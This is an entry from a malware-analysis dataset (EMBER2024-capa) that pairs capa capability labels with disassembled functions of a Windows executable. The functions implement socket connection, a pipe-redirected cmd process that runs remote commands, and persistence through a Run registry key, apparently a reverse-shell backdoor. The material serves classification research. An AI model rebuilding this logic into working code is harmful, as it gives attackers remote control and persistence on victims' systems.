joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001144c
Capabilities:
Initialize winsock library
Terminate process

Disassembly:
jmp 0x140018560
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x2c8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x7a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2e8]
mov rax, qword [0x140043018]
xor rax, rbp
mov qword [rbp + 0x298], rax
lea rcx, [0x14004e10c]
call fcn.140011f19
mov rax, qword [rbp + 0x2c0]
mov rcx, rax
call fcn.140011717
nop
mov eax, 0x102
mov word [rbp + 0x1c4], ax
lea rdx, [rbp + 0x10]
movzx ecx, word [rbp + 0x1c4]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400185ec
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov rdx, qword [rbp + 0x2c8]
mov rcx, qword [rbp + 0x2c0]
call fcn.140011b40
mov rcx, qword [rbp + 0x2c8]
call fcn.14001118b
mov rcx, rax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [rbp + 0x2c0]
mov dword [rcx + 0x225c], eax
movzx ecx, word [rbp + 0x2d0]
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [rbp + 0x2c0]
mov word [rcx + 0x225a], ax
mov eax, 2
mov rcx, qword [rbp + 0x2c0]
mov word [rcx + 0x2258], ax
mov rax, qword [rbp + 0x2c0]
mov qword [0x140043720], rax
mov rcx, qword [rbp + 0x2c8]
call fcn.14001132a
mov rax, qword [rbp + 0x2c0]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400388e0]
call fcn.140011cc6
mov rax, rdi
mov rcx, qword [rbp + 0x298]
xor rcx, rbp
call fcn.1400117e4
lea rsp, [rbp + 0x2a8]
pop rdi
pop rbp
ret

Function at 0x14001146a
Capabilities:
Receive data
Receive data on socket

Disassembly:
jmp 0x14002c140
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14004e96d]
call fcn.140011f19
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x130]
cmp dword [rbp + 4], eax
jge 0x14002c1d2
mov eax, dword [rbp + 4]
mov ecx, dword [rbp + 0x130]
sub ecx, eax
mov eax, ecx
movsxd rcx, dword [rbp + 4]
mov rdx, qword [rbp + 0x128]
add rdx, rcx
mov rcx, rdx
xor r9d, r9d
mov r8d, eax
mov rdx, rcx
mov rax, qword [rbp + 0x120]
mov rcx, qword [rax + 0x2250]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0xffffffff
jne 0x14002c1c3
xor al, al
jmp 0x14002c1d4
mov eax, dword [rbp + 0x24]
mov ecx, dword [rbp + 4]
add ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
jmp 0x14002c170
mov al, 1
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140011537
Capabilities:
Create process on windows

Disassembly:
jmp 0x14001ffe0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x218]
mov rax, qword [0x140043018]
xor rax, rbp
mov qword [rbp + 0x198], rax
lea rcx, [0x14004e24e]
call fcn.140011f19
mov dword [rbp + 0xc4], 0
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 8]
call fcn.140011bc7
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.140011bc7
mov dword [rbp + 0x40], 0x68
mov rax, qword [rbp + 0x1c0]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0x1c0]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x1c0]
mov rax, qword [rax]
mov qword [rbp + 0x90], rax
mov eax, dword [rbp + 0x7c]
bts eax, 8
mov dword [rbp + 0x7c], eax
mov rcx, qword [rbp + 0x1c8]
call fcn.14001118b
lea rcx, [rbp + 8]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0
jne 0x14002010e
xor edx, edx
mov ecx, 3
call fcn.1400118f2
jmp 0x140020122
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 8]
mov qword [0x140043c40], rax
mov rax, qword [rbp + 0x10]
mov qword [0x140043c48], rax
mov rcx, qword [rbp + 0x1c8]
call fcn.14001132a
lea rcx, [rbp - 0x50]
lea rdx, [0x14003a2c0]
call fcn.140011cc6
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.1400117e4
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret
Function at 0x14001176c
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
jmp 0x14001fb10
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14004e24e]
call fcn.140011f19
mov rax, qword [rbp + 0x140]
mov qword [rax], 0
mov rax, qword [rbp + 0x140]
mov qword [rax + 8], 0
mov rax, qword [rbp + 0x140]
mov qword [rax + 0x10], 0
mov rax, qword [rbp + 0x140]
mov qword [rax + 0x18], 0
mov rax, qword [rbp + 0x140]
mov dword [rax + 0x20], 0x18
mov rax, qword [rbp + 0x140]
mov dword [rax + 0x30], 1
mov rax, qword [rbp + 0x140]
mov qword [rax + 0x28], 0
mov rax, qword [rbp + 0x140]
add rax, 0x20
mov rcx, qword [rbp + 0x140]
add rcx, 0x18
mov rdx, qword [rbp + 0x140]
add rdx, 0x10
mov qword [rbp + 0x118], rdx
xor r9d, r9d
mov r8, rax
mov rdx, rcx
mov rax, qword [rbp + 0x118]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x14001fbeb
xor edx, edx
mov ecx, 3
call fcn.1400118f2
xor r8d, r8d
mov edx, 1
mov rax, qword [rbp + 0x140]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x14001fc14
xor edx, edx
mov ecx, 3
call fcn.1400118f2
mov rax, qword [rbp + 0x140]
add rax, 0x20
mov rcx, qword [rbp + 0x140]
add rcx, 8
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x118], rdx
xor r9d, r9d
mov r8, rax
mov rdx, rcx
mov rax, qword [rbp + 0x118]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x14001fc61
xor edx, edx
mov ecx, 3
call fcn.1400118f2
xor r8d, r8d
mov edx, 1
mov rax, qword [rbp + 0x140]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x14001fc8a
xor edx, edx
mov ecx, 3
call fcn.1400118f2
lea rax, [rbp + 0xc8]
mov qword [rbp + 0x108], rax
mov rdx, qword [rbp + 0x148]
mov rcx, qword [rbp + 0x108]
call fcn.140011244
mov qword [rbp + 0x118], rax
mov rdx, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x140]
call fcn.140011537
mov rax, qword [rbp + 0x140]
mov qword [0x140043c30], rax
mov rcx, qword [rbp + 0x148]
call fcn.14001132a
mov rax, qword [rbp + 0x140]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x14001189d
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x140026450
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
mov rax, qword [0x140043018]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x14004e4d7]
call fcn.140011f19
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, qword [rbp + 0x148]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140026527
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 4]
xor r8d, r8d
mov rdx, qword [rbp + 0x150]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140026521
mov al, 1
jmp 0x140026529
xor al, al
jmp 0x140026529
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14003a900]
call fcn.140011cc6
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400117e4
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x1400118ca
Capabilities:
Create process on windows

Disassembly:
jmp 0x140026af0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1f8]
mov rax, qword [0x140043018]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x14004e4d7]
call fcn.140011f19
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.140011bc7
mov dword [rbp + 0x10], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x98]
call fcn.140011bc7
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1a8]
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x50]
lea rdx, [0x14003ae10]
call fcn.140011cc6
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.1400117e4
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x14001190b
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
jmp 0x140026850
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x768
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x136
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x788]
mov rax, qword [0x140043018]
xor rax, rbp
mov qword [rbp + 0x708], rax
lea rcx, [0x14004e4d7]
call fcn.140011f19
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x88], 0x208
lea rax, [rbp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x410
rep stosb byte [rdi], al
lea r8, [0x14003b0b8]
mov edx, 0x208
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ucrtbased.dll_wcscpy_s]
mov r8, qword [rbp + 0x738]
mov edx, 0x208
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
lea r8, [0x14003b0bc]
mov edx, 0x208
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
cmp qword [rbp + 0x740], 0
je 0x14002693e
mov r8, qword [rbp + 0x740]
mov edx, 0x208
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2001f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14003b0d0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140026998
mov dword [rbp + 0x704], 1
jmp 0x1400269a2
mov dword [rbp + 0x704], 0
movzx eax, byte [rbp + 0x704]
mov byte [rbp + 0x44], al
movzx eax, byte [rbp + 0x44]
test eax, eax
je 0x140026a1f
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x730]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140026a0b
mov dword [rbp + 0x704], 1
jmp 0x140026a15
mov dword [rbp + 0x704], 0
movzx eax, byte [rbp + 0x704]
mov byte [rbp + 0x44], al
cmp qword [rbp + 8], 0
je 0x140026a38
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp + 8], 0
movzx eax, byte [rbp + 0x44]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14003a9d0]
call fcn.140011cc6
mov eax, edi
mov rcx, qword [rbp + 0x708]
xor rcx, rbp
call fcn.1400117e4
lea rsp, [rbp + 0x718]
pop rdi
pop rbp
ret

Function at 0x140011915
Capabilities:
Terminate process

Disassembly:
jmp 0x14002d0a0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011a23
Capabilities:
Terminate process

Disassembly:
jmp 0x140025a20
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14004e4d7]
call fcn.140011f19
lea rax, [rbp + 0xc8]
mov qword [rbp + 0x108], rax
lea rdx, str.Termination_requested:_Killing_self
mov rcx, qword [rbp + 0x108]
call fcn.14001175d
mov qword [rbp + 0x118], rax
mov r8d, 2
mov rdx, qword [rbp + 0x118]
mov rcx, qword [0x140043720]
call fcn.1400115d7
mov rcx, qword [0x140043720]
call fcn.140011bc2
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x140011aff
Capabilities:
Parse pe header

Disassembly:
jmp 0x14002fb40
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14002fb60
xor al, al
jmp 0x14002fbe1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14002fb73
xor al, al
jmp 0x14002fbe1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002fb9d
xor al, al
jmp 0x14002fbe1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14002fbb1
xor al, al
jmp 0x14002fbe1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14002fbc3
xor al, al
jmp 0x14002fbe1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14002fbdf
xor al, al
jmp 0x14002fbe1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011b40
Capabilities:
Resolve dns

Disassembly:
jmp 0x14001e050
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x5e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x278]
mov rax, qword [0x140043018]
xor rax, rbp
mov qword [rbp + 0x220], rax
lea rcx, [0x14004e10c]
call fcn.140011f19
mov r8d, 0x30
xor edx, edx
lea rcx, [rbp + 0x28]
call fcn.140011bc7
mov dword [rbp + 0x2c], 0
mov dword [rbp + 0x30], 1
mov rcx, qword [rbp + 0x258]
call fcn.14001118b
lea r9, [rbp + 0x78]
lea r8, [rbp + 0x28]
lea rdx, str.http
mov rcx, rax
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 0
je 0x14001e12d
mov ecx, dword [rbp + 0xd4]
call fcn.140011d98
mov qword [rbp + 0x218], rax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov rcx, qword [rbp + 0x218]
mov r8, rcx
lea rdx, str.getaddrinfo:__s_n
mov rcx, rax
call fcn.140011d6b
xor al, al
jmp 0x14001e1ae
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x98], rax
jmp 0x14001e14c
mov rax, qword [rbp + 0x98]
mov rax, qword [rax + 0x28]
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
je 0x14001e18f
mov rax, qword [rbp + 0x98]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0xb8]
mov ecx, dword [rax + 4]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x41
lea rcx, [rbp + 0x100]
call qword [sym.imp.ucrtbased.dll_strcpy_s]
jmp 0x14001e13a
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rdx, [rbp + 0x100]
mov rcx, qword [rbp + 0x258]
call fcn.140011091
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.140011cc6
mov rax, rdi
mov rcx, qword [rbp + 0x220]
xor rcx, rbp
call fcn.1400117e4
lea rsp, [rbp + 0x238]
pop rdi
pop rbp
ret
Function at 0x140011ce9
Capabilities:
Read file on windows
Read pipe

Disassembly:
jmp 0x1400201d0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x278
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x62
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x298]
mov rax, qword [0x140043018]
xor rax, rbp
mov qword [rbp + 0x238], rax
mov dword [rbp + 0x224], 0
lea rcx, [0x14004e24e]
call fcn.140011f19
movzx eax, byte [0x140043c38]
test eax, eax
je 0x140020390
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
movzx eax, byte [0x14003a2f3]
mov byte [rbp + 0x70], al
lea rax, [rbp + 0x71]
mov rdi, rax
xor eax, eax
mov ecx, 0x7f
rep stosb byte [rdi], al
lea rcx, [rbp + 0x108]
call fcn.140011f00
nop
mov qword [rsp + 0x28], 0
lea rax, [rbp + 4]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rax, qword [rbp + 0x260]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 4], 0
jbe 0x140020273
mov eax, dword [rbp + 4]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jle 0x140020357
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x24]
mov r8d, 0x7f
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x260]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, 1
imul rax, rax, 0x7f
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0x80
jae 0x140020306
jmp 0x14002030b
call fcn.140011b5e
mov rax, qword [rbp + 0x208]
mov byte [rbp + rax + 0x70], 0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x108]
call fcn.14001114a
mov eax, dword [rbp + 0x24]
mov ecx, dword [rbp + 0x44]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jg 0x140020341
mov dword [rbp + 0x44], 0
mov r8d, 0x80
xor edx, edx
lea rcx, [rbp + 0x70]
call fcn.140011bc7
jmp 0x1400202b5
lea rdx, [rbp + 0x108]
mov rcx, qword [rbp + 0x268]
call fcn.140011e3d
mov eax, dword [rbp + 0x224]
or eax, 1
mov dword [rbp + 0x224], eax
lea rcx, [rbp + 0x108]
call fcn.14001132a
mov rax, qword [rbp + 0x268]
jmp 0x1400203b9
lea rdx, str.CMD_is_not_open
mov rcx, qword [rbp + 0x268]
call fcn.14001175d
mov eax, dword [rbp + 0x224]
or eax, 1
mov dword [rbp + 0x224], eax
mov rax, qword [rbp + 0x268]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_connect
call fcn.140011cc6
mov rax, rdi
mov rcx, qword [rbp + 0x238]
xor rcx, rbp
call fcn.1400117e4
lea rsp, [rbp + 0x248]
pop rdi
pop rbp
ret
Function at 0x140011d8e
Capabilities:
Connect socket
Create thread

Disassembly:
jmp 0x14001a0d0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x30]
lea rcx, [0x14004e10c]
call fcn.140011f19
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov rcx, qword [rbp + 0xe0]
mov qword [rcx + 0x2250], rax
mov rax, qword [rbp + 0xe0]
add rax, 0x2258
mov r8d, reloc.WS2_32.dll_recv
mov rdx, rax
mov rax, qword [rbp + 0xe0]
mov rcx, qword [rax + 0x2250]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14001a142
xor al, al
jmp 0x14001a170
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001141f]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov byte [0x140043728], 1
mov al, 1
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x140011dd4
Capabilities:
Write file on windows

Disassembly:
jmp 0x140020470
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x238
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x258]
mov rax, qword [0x140043018]
xor rax, rbp
mov qword [rbp + 0x1f0], rax
lea rcx, [0x14004e24e]
call fcn.140011f19
movzx eax, byte [0x140043c38]
test eax, eax
je 0x1400205ba
mov dword [rbp + 4], 0
mov dl, 0xa
mov rcx, qword [rbp + 0x228]
call fcn.140011889
mov rcx, qword [rbp + 0x228]
call fcn.140011b54
mov qword [rbp + 0x1d8], rax
mov rcx, qword [rbp + 0x228]
call fcn.14001118b
mov qword [rsp + 0x20], 0
lea r9, [rbp + 4]
mov rcx, qword [rbp + 0x1d8]
mov r8d, ecx
mov rdx, rax
mov rax, qword [rbp + 0x220]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400205b8
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x128], rax
mov r8, qword [rbp + 0x228]
lea rdx, str.Couldnt_write_command_
lea rcx, [rbp + 0x148]
call fcn.1400110b4
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x1e0], rax
lea r8, str._to_stdIn.
mov rdx, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x128]
call fcn.140011dfc
mov qword [rbp + 0x1e8], rax
mov r8d, 2
mov rdx, qword [rbp + 0x1e8]
mov rcx, qword [0x140043720]
call fcn.1400115d7
nop
lea rcx, [rbp + 0x148]
call fcn.14001132a
jmp 0x1400205fc
lea rax, [rbp + 0x188]
mov qword [rbp + 0x1c8], rax
lea rdx, str.Couldnt_write_to_CMD:_CMD_not_open
mov rcx, qword [rbp + 0x1c8]
call fcn.14001175d
mov qword [rbp + 0x1d8], rax
mov r8d, 2
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [0x140043720]
call fcn.1400115d7
nop
mov rcx, qword [rbp + 0x228]
call fcn.14001132a
lea rcx, [rbp - 0x30]
lea rdx, [0x14003a1f0]
call fcn.140011cc6
mov rcx, qword [rbp + 0x1f0]
xor rcx, rbp
call fcn.1400117e4
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret
Function at 0x140011ef1
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001acf0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x140043018]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x14004e0f1]
call fcn.140011f19
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x14001ad56
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001ad5d
mov al, 1
jmp 0x14001aead
call fcn.14001148d
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.14001148d
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.140011c3f
movzx eax, al
test eax, eax
je 0x14001adae
xor al, al
jmp 0x14001aead
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x14001ae13
cmp dword [rbp + 0x154], 1
je 0x14001ae1e
cmp dword [rbp + 0x154], 3
je 0x14001ae9c
jmp 0x14001aeab
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x14001ae6e
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x14001ae6e
xor al, al
jmp 0x14001aead
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001ae89
mov dword [rbp + 0x154], 1
jmp 0x14001ae93
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x14001aead
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001aead
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400387e0]
call fcn.140011cc6
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.1400117e4
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret

